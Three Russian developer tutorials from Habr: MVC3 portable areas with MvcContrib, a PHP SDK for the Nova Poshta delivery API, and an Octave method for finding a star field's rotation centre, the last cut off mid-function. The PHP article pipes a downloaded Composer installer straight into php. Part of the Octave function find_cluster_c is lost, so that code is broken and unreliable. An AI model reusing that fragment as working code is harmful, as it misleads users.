Один из первых вопросов, которым я задался после знакомства с азами технологии MVC3, это способ выделения и повторного использования функционала в нескольких веб-проектах.
В WPF или WinForms все просто и понятно — обособленный функционал изолируется в модуль, модуль компилируется в библиотеку, библиотека — подключается к проекту и повторно используется. Нужно лишь грамотно изолировать модули и всё будет хорошо.
В MVC, если «обособленный функционал» — это набор контроллеров и вьюшек, реализующих, допустим, гостевую книгу, их можно обособить в виде «области» — area. Однако просто так вынести эту область в отдельный модуль нельзя — MVC просто не найдет ваши контроллеры/вьюшки в соседних библиотеках.
Однако решение, конечно, есть, и его нам предлагает небезызвестная библиотека [MvcContrib](http://mvccontrib.codeplex.com) — open-source проект, неаффилированный Майкрософтом.
Допустим, что у вас уже есть на сайте гостевая книга и есть желание повторно использовать её в другом проекте. Что надо сделать?
1. Создать проект типа ClassLibrary и добавить в него референсы на System.Web.Mvc.dll, System.Web.Razor.dll (если вьюшки используют Razor), [MvcContrib.dll](http://mvccontrib.codeplex.com/releases) и [Microsoft.Web.Mvc.dll](http://aspnet.codeplex.com/releases/view/58781) (последняя — для поддержки строгой типизации, можно пропустить).
2. Создать структуру проекта, очень похожую на обычный MVC-шаблон. Единственное отличие, что папки Views, Controllers, etc. должны расположиться в корневой папке с именем нашей выделяемой области (portable area). В примере это — Guestbook. В данную структуру скопировать вьюшки и контроллеры, которые хочется обособить.
Всем вьюшки в области необходимо выставить метод компиляции — embedded resource (как подсказывают в [комментариях](http://habrahabr.ru/blogs/net/123819/#comment_4071986) можно также копировать вьюшки в папку Areas основного проекта — MVC их там найдет)!
3. Создать регистрационный класс, который и позволит связать основное MVC-приложение и выделенную область. Класс этот должен наследоваться от *PortableAreaRegistration*. В простейшем случае он может выглядеть так:
```
public class GuestbookRegistration : PortableAreaRegistration
{
public override string AreaName
{
get { return "Guestbook"; }
}
}
```
Единственный необходимый параметр — это поле AreaName с названием области.
Однако, здесь же можно и изменить маршруты для выделенной области:
```
public class GuestbookRegistration : PortableAreaRegistration
{
public override string AreaName
{
get { return "Guestbook"; }
}
public override void RegisterArea(AreaRegistrationContext context, IApplicationBus bus)
{
base.RegisterArea(context, bus);
context.MapRoute(
"Guestbook_Default",
"GuestbookPro/{action}/{id}",
new { controller = "Guestbook", action = "Index", id = UrlParameter.Optional });
}
}
```
Дефолтный маршрут выглядит, как нетрудно догадаться, так: AreaName + "/{controller}/{action}/{id}". То есть полный путь до индексового экшена по умолчанию будет выглядеть как <http://localhost/Guestbook/Guestbook/Index>.
Создание модуля на этом завершено :) Как его использовать? Очень просто. В основной проект добавляем референсы на модуль и MvcContrib (ну и Microsoft.Web.Mvc пригодится :)). Создаем папку Areas и копируем Web.config из папки Views в папку Areas.
Всё. Запускаем проект и заходим на localhost/Guestbook/Guestbook (первый guestbook — имя области, второй — имя контроллера).
На экшены из модуля можно также ставить ссылки и подключать их с использованием RenderAction — всё, как с обычными контроллерами.
```
@(Html.ActionLink(x => x.Index(), "строготипизированная ссылка на гостевую"));
@Html.ActionLink("нестроготипизированная ссылка на гостевую", "Index", "Guestbook", new { area = "Guestbook" }, null);
@{ Html.RenderAction(x => x.Index()); }
@{ Html.RenderAction("Index", "Guestbook", new { area = "Guestbook" }); }
```
Однако, чтобы строготипизированные ссылки работали, контроллеры внутри выделенной области надо обозначить атрибутом ActionLinkArea(«AreaName»):
```
[ActionLinkArea("Guestbook")]
public class GuestbookController : Controller
{
}
```
P.S. Ну и последний бонус для тех, кто хочет заставить это работать на linux под Mono.
На данный момент придется создать **две** папки Areas в структуре рабочего проекта на сервере — **с большой буквы «A» и с маленькой**. Необходимость в «маленькой» — баг со стороны библиотеки MvcContrib (она осуществляет предварительные проверки). Патч на этот баг отправлен разработчикам (патч в один символ :)).
P.P.S. Удивлен, что тема абсолютно не освещалась на хабре, да и в рунете особенно ничего нет.
P.P.P.S. В комментариях затронули тему применимости T4MVC для «выделенных областей». После небольшого патча T4MVC замечательно работает. Детали интеграции можно прочитать по [ссылке](http://www.arturdr.ru/net/portable-areas-i-t4mvc/) | https://habr.com/ru/post/123819/ | null | ru | null |
# PHP библиотека для интеграции с API Новой Почты
Привет друзья.
Хочу поделиться [PHP библиотекой (SDK)](https://github.com/serj1chen/nova-poshta-sdk-php) для интеграции с API 2 Новой Почты (НП). Но сначала несколько слов о Новой Почте.
Новая Почта является лидером экспресс-доставки и перевозки грузов по всей Украине. В Новой Почте много услуг, что делает ее лидером на украинском рынке перевозок. Склады есть во всех городах Украины, очень быстрая курьерская служба. Основные услуги, которые компания надает: доставка и возврат грузов в розничных сетях; доставка паллетированного груза; обратная доставка,; наложенный платёж за товар; вызов машины; хранение груза; упаковка груза, доставка груза по городу и прочее. Для упрощения создание ТТН можно использовать API компании, что даст возможность оптимизировать создания ТТН.
**Возможности которые дает SDK**:
* Работа с адресами
* Работа со справочниками
* Работа с контрагентами
* Методы для получения печатных форм документов
* Работа с реестрами экспресс-накладных
* Работа с экспресс-накладными:
+ создавать экспресс-накладные
+ редактировать данные в созданных экспресс-накладные (до передачи отправления)
+ удалять/отменять созданные экспресс-накладные (до передачи отправления)
+ загружать списки документов используя фильтры
+ отслеживать статусы отправления
**Подключить библиотеку (SDK)****Способ 1 (composer)**
Создайте файл composer.json в корне Вашeго проекта:
```
{
"require": {
"serj1chen/nova-poshta-sdk-php": "2.0.*"
}
}
```
Установить composer:
```
$ curl -sS https://getcomposer.org/installer | php
$ php composer.phar install
```
Подключить автолоадер composer:
```
include_once "vendor/autoload.php";
```
**Способ 2 (git)**
Клонировать репозиторий:
```
git clone git://github.com/serj1chen/nova-poshta-sdk-php
```
Подключить автолоадер SDK:
```
include_once "nova-poshta-sdk-php/lib/NovaPoshta/bootstrap.php";
```
Перед тем как начать работать с SDK, нужно получить API ключ. Переходим за ссылкой <https://my.novaposhta.ua>, заходим под своим логином в личный кабинет. Далее п.м. **Налаштування**-> **API 2.0**. Нажимаем кнопку **Створити новий ключ**, копируем созданный ключ.
#### Настройка SDK
```
use NovaPoshta\Config;
Config::setApiKey('<Ваш ключ>');
Config::setFormat(Config::FORMAT_JSONRPC2);
Config::setLanguage(Config::LANGUAGE_UA);
```
Возможные форматы передачи данных (формат указывать в метод **setFormat**):
* FORMAT\_JSON
* FORMAT\_JSONRPC2 (рекомендую)
* FORMAT\_XML
По дефолту будет установлен формат JSONRPC2.
#### Работа с моделями SDK
В документации НП работа разбита на модели:
* Address: модель для работы с адресами. [Примеры работы с моделью](https://github.com/serj1chen/nova-poshta-sdk-php/blob/master/example/Address_example.php)
* Common: модель для работы со справочниками. [Примеры работы с моделью](https://github.com/serj1chen/nova-poshta-sdk-php/blob/master/example/Common_example.php)
* ContactPerson: модель для создания контактного лица. [Примеры работы с моделью](https://github.com/serj1chen/nova-poshta-sdk-php/blob/master/example/ContactPerson_example.php)
* Counterparty: модель для работы с данными контрагента. [Примеры работы с моделью](https://github.com/serj1chen/nova-poshta-sdk-php/blob/master/example/Counterparty_example.php)
* InternetDocument: модель для оформления отправлений. [Примеры работы с моделью](https://github.com/serj1chen/nova-poshta-sdk-php/blob/master/example/InternetDocument_example.php)
* ScanSheet: модель для работы с реестрами приема-передачи отправлений. [Примеры работы с моделью](https://github.com/serj1chen/nova-poshta-sdk-php/blob/master/example/ScanSheet_example.php)
##### Работа с методами моделей
Работа с методами модели: save, update, delete. Заполнить модель нужными значениями и вызвать нужный метод. Пример:
```
use NovaPoshta\ApiModels\Counterparty;
$counterparty = new Counterparty();
$counterparty->setCounterpartyProperty('Recipient');
$counterparty->setCityRef('db5c88d0-391c-11dd-90d9-001a92567626');
$counterparty->setCounterpartyType('PrivatePerson');
$counterparty->setFirstName('Пилипко');
$counterparty->setLastName('Вася');
$counterparty->setMiddleName('Сергеевич');
$counterparty->setPhone('+380661122333');
$counterparty->setEmail('test@i.ua');
$result = $counterparty->save();
```
Работа с статическими методами. В методы передавать объект **MethodParameters**:
```
use NovaPoshta\ApiModels\Counterparty;
use NovaPoshta\MethodParameters\MethodParameters;
$data = new MethodParameters();
$data->CounterpartyProperty = 'Recipient';
$data->Page = 1;
$data->CityRef = '8d5a980d-391c-11dd-90d9-001a92567626';
$data->FindByString = 'Петр';
$result = Counterparty::getCounterparties($data);
```
Или можно использовать классы **MethodParameters**, которые наследуются от класса **MethodParameters**. Классы имеют сеттеры параметров, которые можно передать статическому методу модели. Названия классов с параметрами складываются с двух частей, с названия модели (**ApiModels**) и названия статического метода модели. Пример использования:
```
use NovaPoshta\ApiModels\Counterparty;
use NovaPoshta\MethodParameters\MethodParameters;
use NovaPoshta\MethodParameters\Counterparty_getCounterparties;
$data = new Counterparty_getCounterparties();
$data->setCounterpartyProperty('Recipient');
$data->setPage(1);
$data->setCityRef('8d5a980d-391c-11dd-90d9-001a92567626');
$data->setFindByString('Петр');
$result = Counterparty::getCounterparties($data);
```
**Логирования запросов**Если Вам нужно логировать данные отправки/получения запросов. Нужно создать класс который наследуется от **Logger.php** и передать экземпляр этого класса в метод **setClassLogger** файла **Config.php**.
```
use NovaPoshta\Logger;
use NovaPoshta\Config;
class Logger_example extends Logger
{
public static function setOriginalData($toData, $fromData)
{
// ...
}
public static function setData($toData, $fromData)
{
// ...
}
}
Config::setClassLogger($ new Logger_example());
```
Метод **setOriginalData**: запрос/ответ API Новой Почты. Параметры: **toData** — запрос (тип: **string**); **fromData** — ответ (тип: **string**).
Метод **setData**: запрос/ответ API Новой Почты у формате SDK. Параметры: **toData** — запрос (объект: **DataContainer**); **fromData** — ответ (объект: **DataContainerResponse**).
**Создания экспресс накладной (ТТН)**Выбираем город отправителя:
```
$data = new \NovaPoshta\MethodParameters\Address_getCities();
$data->setFindByString('Полтава');
$result = \NovaPoshta\ApiModels\Address::getCities($data);
$citySender = $result->data[0]->Ref;
```
Выбираем город получателя:
```
$result = \NovaPoshta\ApiModels\Address::getCities(); // список городов
$cityRecipient = $result->data[60]->Ref;
```
Выбираем тип контрагента:
```
$result = \NovaPoshta\ApiModels\Common::getTypesOfCounterparties();
$counterpartyType = $result->data[1]->Ref; // со списка выбираем тип PrivatePerson
```
Создаем контрагента получателя:
```
$counterparty = new \NovaPoshta\ApiModels\Counterparty();
$counterparty->setCounterpartyProperty(\NovaPoshta\ApiModels\Counterparty::RECIPIENT);
$counterparty->setCityRef($cityRecipient);
$counterparty->setCounterpartyType($counterpartyType);
$counterparty->setFirstName('Пилипко');
$counterparty->setLastName('Вася');
$counterparty->setMiddleName('Сергеевич');
$counterparty->setPhone('+380661122333');
$counterparty->setEmail('test@i.ua');
$result = $counterparty->save();
$counterpartyRecipient = $result->data[0]->Ref;
```
Если нет контрагента отправителя в городе Полтава, создаем там контрагента отправителя. Контрагент создастся через несколько минут:
```
$data = new \NovaPoshta\MethodParameters\Counterparty_cloneLoyaltyCounterpartySender();
$data->setCityRef($citySender);
$result = \NovaPoshta\ApiModels\Counterparty::cloneLoyaltyCounterpartySender($data);
```
Если у Вас есть контрагент отправитель, то получаем его так же как контрагента получателя, только сюда: **setCounterpartyProperty** передаем **\NovaPoshta\ApiModels\Counterparty::SENDER**. Методом **cloneLoyaltyCounterpartySender** можно использовать только если Вы клиент лояльности, если Вы корпоративный клиент, то у Вас уже должен быть контрагент отправитель в нужном городе.
Теперь получим контрагента отправителя:
```
$data = new \NovaPoshta\MethodParameters\Counterparty_getCounterparties();
$data->setCityRef($citySender);
$data->setCounterpartyProperty(\NovaPoshta\ApiModels\Counterparty::SENDER);
$result = \NovaPoshta\ApiModels\Counterparty::getCounterparties($data);
$counterpartySender = $result->data[0]->Ref;
```
Получим контактных персон для контрагентов:
```
$data = new \NovaPoshta\MethodParameters\Counterparty_getCounterpartyContactPersons();
$data->setRef($counterpartySender);
$result = \NovaPoshta\ApiModels\Counterparty::getCounterpartyContactPersons($data);
$contactPersonSender = $result->data[0]->Ref;
$data = new \NovaPoshta\MethodParameters\Counterparty_getCounterpartyContactPersons();
$data->setRef($counterpartyRecipient);
$result = \NovaPoshta\ApiModels\Counterparty::getCounterpartyContactPersons($data);
$contactPersonRecipient = $result->data[0]->Ref;
```
Для контрагента отправителя получим склад отправки:
```
$data = new \NovaPoshta\MethodParameters\Address_getWarehouses();
$data->setCityRef($citySender);
$result = \NovaPoshta\ApiModels\Address::getWarehouses($data);
$addressSender = $result->data[5]->Ref;
```
Создадим адрес для получателя:
```
$address = new \NovaPoshta\ApiModels\Address();
$address->setCounterpartyRef($counterpartyRecipient);
$address->setBuildingNumber('2/2');
$address->setFlat('22');
$address->setNote('Первый подъезд');
$address->setStreetRef('c55c9056-4148-11dd-9198-001d60451983');
$result = $address->save();
$addressRecipient = $result->data[0]->Ref;
```
Теперь получим тип услуги:
```
$result = \NovaPoshta\ApiModels\Common::getServiceTypes();
$serviceType = $result->data[3]->Ref; // Выбрали: WarehouseDoors
```
Выбираем плательщика:
```
$result = \NovaPoshta\ApiModels\Common::getTypesOfPayers();
$payerType = $result->data[1]->Ref; // Выбрали: Recipient
```
Форму оплаты:
```
$result = \NovaPoshta\ApiModels\Common::getPaymentForms();
$paymentMethod = $result->data[1]->Ref; // Выбрали: Cash
```
Тип груза:
```
$result = \NovaPoshta\ApiModels\Common::getCargoTypes();
$cargoType = $result->data[0]->Ref; // Выбрали: Cargo
```
Мы выбрали все данные которые нам нужны для создания ЭН. Создаем ЭН:
```
// Контрагент отправитель
$sender = new \NovaPoshta\Models\CounterpartyContact();
$sender->setCity($citySender)
->setRef($counterpartySender)
->setAddress($addressSender)
->setContact($contactPersonSender)
->setPhone('+380660000000');
// Контрагент получатель
$recipient = new \NovaPoshta\Models\CounterpartyContact();
$recipient->setCity($cityRecipient)
->setRef($counterpartyRecipient)
->setAddress($addressRecipient)
->setContact($contactPersonRecipient)
->setPhone('+380660000000');
// Выбираем тип
$result = \NovaPoshta\ApiModels\Common::getTypesOfPayersForRedelivery();
$redeliveryPayer = $result->data[1]->Ref;
// Выбираем тип обратной доставки
$result = \NovaPoshta\ApiModels\Common::getBackwardDeliveryCargoTypes();
$redeliveryCargoType = $result->data[1]->Ref;
// Обратная доставка ценные бумаги
$backwardDeliveryData = new \NovaPoshta\Models\BackwardDeliveryData();
$backwardDeliveryData->setPayerType($redeliveryPayer);
$backwardDeliveryData->setCargoType($redeliveryCargoType);
$backwardDeliveryData->setRedeliveryString(452);
$internetDocument = new \NovaPoshta\ApiModels\InternetDocument();
$internetDocument->setSender($sender)
->setRecipient($recipient)
->setServiceType($serviceType)
->setPayerType($payerType)
->setPaymentMethod($paymentMethod)
->setCargoType($cargoType)
->setWeight(1)
->setSeatsAmount(1)
->setCost(452)
->setDescription('ТЦ')
->setDateTime('10.09.2015')
->addBackwardDeliveryData($backwardDeliveryData);
$result = $internetDocument->save();
$refInternetDocument = $result->data[0]->Ref;
```
Получить ссылку на печать ЭН:
```
$data = new \NovaPoshta\MethodParameters\InternetDocument_printDocument();
$data->addDocumentRef($refInternetDocument);
$data->setCopies(\NovaPoshta\ApiModels\InternetDocument::PRINT_COPIES_FOURFOLD);
$link = \NovaPoshta\ApiModels\InternetDocument::printDocument($data);
```
После печати ЭН, клеем ЭН на коробку и отправляем груз))
Надеюсь SDK Вам поможет интегрироваться с API Новой Почты.
Удачи! | https://habr.com/ru/post/264209/ | null | ru | null |
# Применение Octave для вычисления центра вращения звездного поля
Я уже частично [говорил](http://habrahabr.ru/blogs/programming/132784/) о работе с FITS-файлами в Octave. Теперь расскажу о применении этого математического пакета для обработки конкретных данных, а именно: для вычисления центра вращения звездного поля по набору снимков, полученных с определенным интервалом.
---
#### Геометрические преобразования
Для начала коснемся математической части. Геометрические преобразования математически удобно представить в векторно-матричной форме. Так, например, если у нас есть радиус-вектор **r**, характеризующий данную точку изображения, то чтобы получить радиус-вектор точки — отображения, **r'** необходимо умножить матрицу геометрического преобразования, **A**, на **r**: **r'** = **A·r**. В простейшем случае **A** — двумерная матрица 2х2. Однако, для сложных преобразований ее необходимо расширить до размеров 3х3: например, для описания смещения изображения.
В общем случае векторы **r** и **r'** являются векторами-столбцами из трех элементов: собственно координат точки и единицы. Сама матрица преобразования 3х3 имеет лишь шесть значимых элементов (верхние два ряда), а третий ряд ее содержит два нуля и одну единицу.
В этом случае преобразование поворота относительно начала координат на угол θ в матричном виде запишется так:
Значимые члены матрицы геометрического преобразования несут следующий смысл: подматрица 2х2 левого верхнего угла отражает преобразования, зависящие от координат точки (например, поворот, масштабирование), а верхние два члена крайнего правого столбца — преобразования, не зависящие от координат (смещение).
Таким образом, например, матрица вращения вокруг начала координат на угол θ с последующим за этим сдвигом на вектор **t** будет иметь вот такой вид:
Для получения матрицы, описывающей более сложное преобразование, нам необходимо будет разложить это движение на элементарные (вращение, смещение, масштабирование) и перемножить соответствующие матрицы. Тем, кто работал с openGL не составит труда выполнить подобное. Надо лишь помнить, что если преобразования выполняются в порядке **A, B, C**, то перемножать их нужно будет «задом наперед»: результирующая матрица **M = C·B·A** (так как сначала производится преобразование **A** путем умножения **A·r**, результирующий вектор испытывает преобразование **B** и так далее.
Вращение вокруг произвольной точки раскладывается на три элементарных преобразования: сдвиг изображения так, чтобы начало координат находилось в точке вращения (т.е. если центр вращения находится в точке (x, y), сдвинуть нужно на вектор **(-x,-y)**); вращение его на угол θ и обратный сдвиг на вектор **(x,y)**. В результате этого перемножения матрица преобразования будет иметь вид
(для упрощения записи я заменил sin θ на s, а cos θ на c).
Если обозначить значимые члены матрицы вращения как матрицу **R**, то последнюю систему уравнений можно представить в матричном виде **(I-R)·t = AB**, где **AB** — вектор-столбец из членов A и B итоговой матрицы преобразования.
Отсюда можно найти вектор **t**, характеризующий центр изображения: **t = (I-R) \ AB**, где обратной косой чертой обозначена операция «левого» деления (запись, принятая в Matlab и Octave): в алгебре это аналогично записи **t = (I-R)-1AB** (**I** — единичная матрица).
Если вращение сопровождается еще небольшими смещениями, вектор **AB** будет содержать аддитивное слагаемое **dr**, которое внесет значительную погрешность в вычисления (т.к. при вращении на малые углы длина вектора **AB** невелика). Математически определить это смещение невозможно, имея на руках лишь пару снимков. Однако, если мы имеем значительное количество изображений, можно вычислить медианное значение центра вращения, а зная его уже легко будет определить малые смещения **dr**.
---
#### Реализация в Octave
Итак, пусть у нас имеется набор изображений звездного поля (это, кстати, может быть и произвольное изображение с надежно выделяемыми опорными участками) и необходимо вычислить центр вращения этого поля.
Для начала нам необходимо выделить звезды (в общем случае — опорные точки). В конкретном случае это решается простой бинаризацией по заданному порогу (порог выбирается как максимум из величины, заданной пользователем, и суммы медианного значения интенсивности по изображению плюс четверть стандартного отклонения). Далее в полученном бинарном изображении обнаруживаются зоны с 8-связанностью и нумеруются в порядке обнаружения. В итоге мы получаем набор масок, при помощи которых можно вычислить центры объектов (в простейшем случае — как элементарный центр тяжести).
Далее нам необходимо выделить объекты, присутствующие на всех изображениях. Я решил эту проблему «в лоб»: для каждого изображения строится набор векторов — координат обнаруженных объектов в полярной системе относительно каждого объекта (т.е. для набора из N точек получаем N·(N-1) векторов). Для отождествления перебираются все наборы векторов для первого и для i-го изображения. Каждому набору дается оценка — количество совпадений радиус-векторов точек с точностью до устанавливаемой пользователем погрешности dr, dφ. Затем выбирается пара наборов с наивысшей оценкой и объекты i-го изображения нумеруются, в соответствии с порядком объектов первого изображения. После каждой процедуры обнаружения объектов первого изображения на i-м увеличивается значение счетчиков, соответствующих обнаруженным объектам первого изображения. Параллельно ведется накопление координат обнаруженных объектов.
Это решение «в лоб» сильно тормозит вычисления и сильно расходует память в случае большого количества обнаруженных объектов и большого количества изображений, поэтому метод можно упростить. Например, можно сначала сравнить первое и последнее изображение, определившись с набором точек (что уменьшит расход памяти и количество итераций); сам поиск можно тоже производить лишь относительно двух-трех объектов первого изображения (использовать сравнение лишь одного набора нельзя, т.к. конкретный объект может быть не обнаружен на i-м изображении).
После окончания обнаружения объектов мы получаем массив счетчиков. Если объект присутствует на всех изображениях, значение соответствующего счетчика должно быть равно M-1 (M — количество изображений). Все данные, для которых счетчик не равен M-1, удаляются. Далее необходимо лишь попарно сравнить координаты объектов для всех изображений, вычисляя для каждой пары центр вращения по приведенной выше формуле (матрица преобразования вычисляется методом наименьших квадратов). Накопив массив координат центра, найдем реальный центр вращения как медиану от всех координат.
Помимо моего способа я нашел еще один способ в [этой статье](http://www.cs.otago.ac.nz/staffpriv/mccane/publications/fcr_medical_imaging_proof.pdf) (McKein et al.). Способ удобен тем, что не требует нахождения матрицы преобразования методом наименьших квадратов. Основан он на том, что вращение около произвольной точки можно представить проще: как вращение сразу относительно начала координат и последующее смещение. Авторы предложили вместо вычисления матрицы преобразования определять угол поворота всей системы (что несложно сделать, воспользовавшись представлением координат объектов в полярной системе координат относительно центра тяжести объектов). По углу поворота вычисляется матрица поворота **R**. Умножая эту матрицу на радиус-векторы объектов первого изображения, найдем вектор смещения, **v** (как медиану разности радиус-векторов объектов i-го изображения и полученных радиус-векторов). Центр вращения вычисляется все по той же формуле **t = (I-R)-1v**.
На большом количестве статистического материала оба способа дали одинаковые результаты. Выбор того или иного способа определяется реализацией: в Octave, например, мой способ вычисляется быстрее, а реализация обоих способов проста; при реализации алгоритма на С проще будет способ McKein сотоварищи.
Вот так выглядит разброс найденных координат центров:
Объясняются выбросы тем, что при сравнении соседних изображений (для которых угол поворота невелик) мы получаем очень высокую погрешность вычисления смещений, сравнимую с погрешностью вычисления координат объектов. Абсолютное отклонение найденных координат относительно медианы иллюстрирует сказанное:
(характерные для близких изображений выбросы затем резко снижаются при увеличении угла поворота). Медианное усреднение позволяет отбросить эти выбросы.
Да, чуть не забыл привести пример изображения звездного поля. Вот оно:
---
#### Исходники
Считывание FITS-файлов:
```
function [image header] = fits_read(filename)
%
% считываем FITS-файл и переворачиваем для правильного отображения
% Координата y отсчитывается в результате сверху!
% (если не делать flipdim, отображаться будет зеркально)
%
% ЗАВИСИМОСТИ:
% read_fits_image (из пакета fits)
%
image = [];
printf("Read file %s ... ", filename); fflush(1);
% проверяем, есть ли такой файл и является ли он файлом:
[ s e m ] = stat(filename);
if(e != 0 || !S_ISREG(s.mode))
printf("No such file!\n"); fflush(1);
return;
endif
[ image header ] = read_fits_image(filename);
if(!isempty(image))
image = flipdim(image',1); % переворачиваем, чтобы отображалось верно
printf("OK!\n");
else
printf("Bad image!\n");
endif
fflush(1);
endfunction
```
Вычисление центров объектов:
```
function [ xc, yc ] = find_centers(Img, treshold)
% [ xc, yc ] = find_centers(Img, treshold)
% Нахождение центров пятен изображения Img с интенсивностью выше treshold
% xc, yc - массивы координат
%
tmp = zeros(size(Img));
mm = mean2(Img) + std2(Img)/4; % считаем простенький порог
tres1 = max(mm, treshold);
printf("\nTreshold: %g\n", tres1); fflush(stdout);
tmp(find(Img > tres1)) = 1;
tmp = medfilt2(logical(tmp));
[ Labels, Nlabels ] = bwlabel(tmp);
if(Nlabels < 1)
printf(stderr, "\nError! There's no spots!!!\n\n");
return
endif
[yy, xx] = ndgrid(1:size(Img,1),1:size(Img,2));
xc = []; yc = [];
for i = [1 : Nlabels]
idxs = find(Labels == i);
Is = sum(Img(idxs));
xc = [ xc sum(Img(idxs) .* xx(idxs)) / Is ];
yc = [ yc sum(Img(idxs) .* yy(idxs)) / Is ];
end
endfunction
```
Вычисление координат объектов относительно объекта с номером N:
```
function coords = find_tree(xc, yc, N)
%
% coords = find_tree(xc, yc, N)
% для заданных массивов координат пятен, xc и yc, вычисляет вектора от точки
% с номером N до остальных точек в полярной системе координат.
% возвращает матрицу, в которой первая колонка - полярная координата
% вектора, вторая - угловая координата.
%
if(size(xc, 1)) == 1 % проверяем, являются ли массивы координат столбцами
xc = xc';
endif
if(size(yc, 1)) == 1
yc = yc';
endif
if(size(xc) != size(yc) || N > size(xc, 1)) % проверяем размеры
coords = [];
endif
xn = xc(N); yn = yc(N); % координаты N-й точки
Dx = xc - xn; Dy = yc - yn; % смещения остальных точек относительно N-й
R = sqrt(Dx.^2+Dy.^2); % полярная координата
Phi = atan2(Dy,Dx)*180/pi; % угловая координата
coords = [R Phi];
endfunction
```
Построение набора всех относительных координат объектов для данного изображения:
```
function [Tree xc yc] = get_tree(treshold, i)
%
% [Tree xc yc] = get_tree(treshold, i)
% Поиск дерева векторов расстояний между точками и координат центров этих точек
% Вход:
% treshold - порог интенсивности для бинаризации изображения
% i - номер кадра в серии
% Выход:
% Tree - трехмерный массив с расстояниями между точками, у которого
% * первая координата - номер второй точки в паре
% * вторая координата - полярные координаты вектора расстояния между точками
% * третья координата - номер первой точки в паре
% xc, yc - координаты центров
%
% ЗАВИСИМОСТИ:
% fits_read
% find_tree
% find_centers
%
Tree = []; xc = []; yc = [];
name = sprintf("object_%04d.fit", i);
II = fits_read(name);
if(isempty(II)) return; endif
printf("Find centers of %s ... ", name); fflush(1);
[xc, yc] = find_centers(II, treshold);
for j = 1:size(xc,2)
Tree(:,:,j) = find_tree(xc, yc, j);
endfor
printf("done (%d vectors)!\n", size(Tree, 1));
endfunction
```
Получение соответствия номеров объектов на двух изображениях:
```
function coord_indexes = find_cluster_c(CC, CC1, dR, dPhi)
%
% coord_indexes = find_cluster_c(CC, CC1, dR, dPhi)
% Поиск соответствия индексов объектов из CC объектам из CC1
% Вход:
% CC, CC1 - массивы векторов для двух соседних изображений
% dR - погрешность по R (если |r1-r0| < dR, считается, что r1 == r0)
% dPhi - аналогичная погрешность по угловой координате
% Выход:
% coord_indexes - массив соответствия индексов точек изображений [индекс1 индекс2; ...]
%
Ncc = size(CC, 3); Ncc1 = size(CC1, 3); % кол-во групп точек в каждом кластере
Cluster = []; % массив по строкам: кол-во совпадений, индекс1, индекс2, угол поворота
for jj = 1 : Ncc % цикл по группам первого набора
Nnear = []; % массив, в который будет складываться кол-во близких точек для каждого кластера
PhiMed = []; % медианы углов поворота
r0 = CC(:,1,jj); phi0 = CC(:,2,jj);
for ii = 1 : Ncc1 % цикл по группам второго набора
r1 = CC1(:,1,ii); phi1 = CC1(:,2,ii);
points = {}; % объединение для поиска соответствия точек (номер точки 1; номера близких точек в 2)
dphi_s = []; % массив, в который будут заноситься для анализа найденные углы
for i = 1:size(r0); % цикл по векторам первого набора
d = abs(r1-r0(i)); % разности между векторами
idx = find(d < dR); % ищем наиболее близкие по r
if(isempty(idx)) continue; endif; % близких нет - идем дальше
points = [ points; {i, idx} ]; % добавляем номера похожих точек
endfor
for i = 1:size(points, 1)
dphi = abs(phi1(points{i,2}) - phi0(points{i,1}));
dphi_s = [dphi_s; dphi];
endfor
if(isempty(dphi_s)) continue; endif;
dphi = median(dphi_s); % примерный угол поворота набора 2 относительно 1
n = size(find(abs(dphi_s-dphi) dPhi) continue; endif; % близких нет - идем дальше
coord\_indexes = [ coord\_indexes; i idx ];
endfor
endfunction
```
Получение массивов координат объектов на всех изображениях в соответствии с их нумерацией на первом изображении:
```
function [X Y] = get_centers(i0, i1, treshold, dR, dPhi)
%
% [X Y] = get_centers(i0, i1, treshold, dR, dPhi)
% Помещает в массивы X,Y координаты центров пятен для каждой пары
% изображений
% Вход:
% i1, in - начальный и конечный номера изображений
% treshold - порог для поиска пятен
% dR, dPhi - допуск по полярным координатам (чтобы считать точки близкими)
% Выход:
% X, Y - матрицы набора центров для пятен
% номер строки соответствует номеру объекта для первого изображения
% номер столбца - номер изображения
% координаты в каждой строке - для одного и того же объета
%
% ЗАВИСИМОСТИ:
% get_tree -> fits_read, find_tree, find_centers
% find_cluster_c
%
n = 1; % счетчик изображений + координата текущего столбца в X,Y
i_start = i0; % номер первого изображения для сравнения
CS = [];
printf("\nimage 1\n", i);
do
[CC xc yc] = get_tree(treshold, i_start);
im1 = i_start;
i_start++;
until(!isempty(CC) || i_start > i1)
X = xc'; Y = yc'; % первый столбец - первое изображение
Counters = zeros(size(X)); % и сразу заполняем нулями массив счетчиков
for i = i_start:i1
[CC1 xc1 yc1] = get_tree(treshold, i);
if(isempty(CC1)) continue; endif
printf("\nimage %d, ", ++n);
% все сравнения идут с первым изображением
indexes = find_cluster_c(CC, CC1, dR, dPhi);
printf("%d points\n\n", size(indexes, 1));
% Заполняем координаты:
X(indexes(:,1),n) = xc1(indexes(:,2));
Y(indexes(:,1),n) = yc1(indexes(:,2));
% и увеличиваем счетчик для найденных пятен
Counters(indexes(:,1))++;
endfor
% стираем объекты, не присутствующие на всех изображениях
idx = find(Counters != n-1);
X(idx,:) = []; Y(idx,:) = [];
endfunction
```
Получение центра вращения:
```
function [Xc Yc] = matr_center(X, Y)
%
% [Xc Yc] = matr_center(X, Y)
% Вычисляет координаты центра кадра, исходя из матричных операций
% Вход:
% X, Y - массивы с координатами пятен (из функции get_centers)
% Выход:
% Xc, Yc - массив центров кадров
%
Xc = []; Yc = [];
imax = size(X,2);
for i = 1:imax-1
for j = i+1:imax
% выделяем координаты объектов
X0 = X(:,i)';
X1 = X(:,j)';
Y0 = Y(:,i)';
Y1 = Y(:,j)';
% получаем примерный угол поворота изображения (вектора - от центра тяжести)
vec0X = X0 - mean(X0); vec0Y = Y0 - mean(Y0);
vec1X = X1 - mean(X1); vec1Y = Y1 - mean(Y1);
% Следующий код можно раскомментировать, если используется выборка из малого количества изображений
%phi0 = atan2(vec0Y, vec0X); phi1 = atan2(vec1Y, vec1X);
%% прибавляем к отрицательным 2пи, чтобы избежать переходов -pi+a -> pi-b
%phi0(find(phi0<0)) += 2*pi; phi1(find(phi1<0)) += 2*pi;
%dphi = median(phi1 - phi0); % медианный угол поворота изображения
%R = [cos(dphi) -sin(dphi); sin(dphi) cos(dphi)]; % матрица поворота
%RR1 = R * [vec0X;vec0Y]; % вектора, которые получились бы при повороте системы 0
%dR = sqrt((vec1X-RR1(1,:)).^2+(vec1Y-RR1(2,:)).^2); % расхождения между реальными и теоретическими
%idx = find(dR < median(dR)+std(dR)); % отсекаем явные промахи
%if(size(idx,2) < 3) % слишком много промахов
